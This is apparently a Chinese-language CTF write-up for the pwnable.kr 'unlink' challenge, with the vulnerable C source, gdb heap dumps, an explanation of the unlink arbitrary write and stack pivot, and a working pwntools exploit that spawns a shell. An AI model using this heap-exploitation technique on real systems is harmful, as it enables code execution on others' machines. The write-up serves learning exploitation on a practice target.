pwnable.kr —— unlink

question#

1
2
3
Daddy! how can I exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

unlink.c#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

analyse#

块信息#

首先我们看下A、B、C的块信息,在printf处打断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
0x804b408 FASTBIN {
prev_size = 0x0,
size = 0x19,
fd = 0x804b428,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x804b420 FASTBIN {
prev_size = 0x0,
size = 0x19,
fd = 0x804b440,
bk = 0x804b410,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x804b438 FASTBIN {
prev_size = 0x0,
size = 0x19,
fd = 0x0,
bk = 0x804b428,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

gdb-peda$ x/20x 0x804b408
0x804b408: 0x00000000 0x00000019 0x0804b428 0x00000000
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000019
0x804b428: 0x0804b440 0x0804b410 0x00000000 0x00000000
0x804b438: 0x00000000 0x00000019 0x00000000 0x0804b428
0x804b448: 0x00000000 0x00000000 0x00000000 0x00020bb1
gdb-peda$ c
Continuing.
here is stack address leak: 0xffffd6c4
here is heap address leak: 0x804b410
now that you have leaks, get shell!

可以看到三个块在内存上是连续的,同时代码里可以看到gets函数存在溢出,可以覆盖其他内存地址。

unlink#

我们要实现任意地址写,已有目标地址target_addr,写入值expect_value
那么我们可以推导以下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
A、B、C结构
--------------
|+0 | fd |
--------------
|+4 | bk |
--------------
|+8 | buf[0-4] |
--------------
|+12| buf[4-8] |
--------------

BK=P->bk; =>BK = *(P+4)
FD=P->fd; =>FD = *P
FD->bk=BK; =>*((*P)+4)=*(P+4)
BK->fd=FD; =>*(*(P+4))=*P

因此存在两处任意地址写,我们主要利用下面那个*(*(P+4))=*P

对于本题来说,已知A的栈地址A_stack和A的堆地址A_heap,举例我们需要向stack_addr(和A_stack存在一定偏移)中写入shell函数的地址shell_addr。

我们可以得到buf的地址是A_heap+8,可存shell_addr地址,我们在B的bk中写入目标栈地址stack_addr,这时我们可以写入*stack_addr=*P,我们需要*P=shell_addr,所以我们在B的fd中填入A_heap+8的值即可。

注意到有以下一段

1
2
3
4
80485ff:   8b 4d fc                 mov    -0x4(%ebp),%ecx
8048602: c9 leave
8048603: 8d 61 fc lea -0x4(%ecx),%esp
8048606: c3 ret

将值取出赋值给ecx,后将*(ecx-4)的值赋值给esp。

所以我们需要进行修正,将A_heap+8,改成A_heap+12

这时,赋值给ecx的值是A_heap+12,减去4后得到A_heap+8,最后赋值我们可以得到esp的值为*(A_heap+8),也就是shell_addr,完成跳转。

get flag#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level='debug'
p = process("./unlink")

p.recvuntil("here is stack address leak: ")
stack_address = int(p.recvline(), 16)
p.recvuntil("here is heap address leak: ")
heap_address = int(p.recvline(), 16)
p.recvuntil("now that you have leaks, get shell!")
print("stack_address:", hex(stack_address), "heap_address", hex(heap_address))

payload = p32(0x080484EB) + b'a'*12 + p32(heap_address + 0xc) + p32(stack_address + 0x10)

#gdb.attach(p)
p.sendline(payload)

p.interactive()
1
2
3
4
5
6
7
root@5c619b760e10:~/test# python3 unlink.py
[+] Starting local process './unlink': pid 71
stack_address: 0xffe33994 heap_address 0x955c410
[*] Switching to interactive mode

$ ls
unlink unlink.py

评论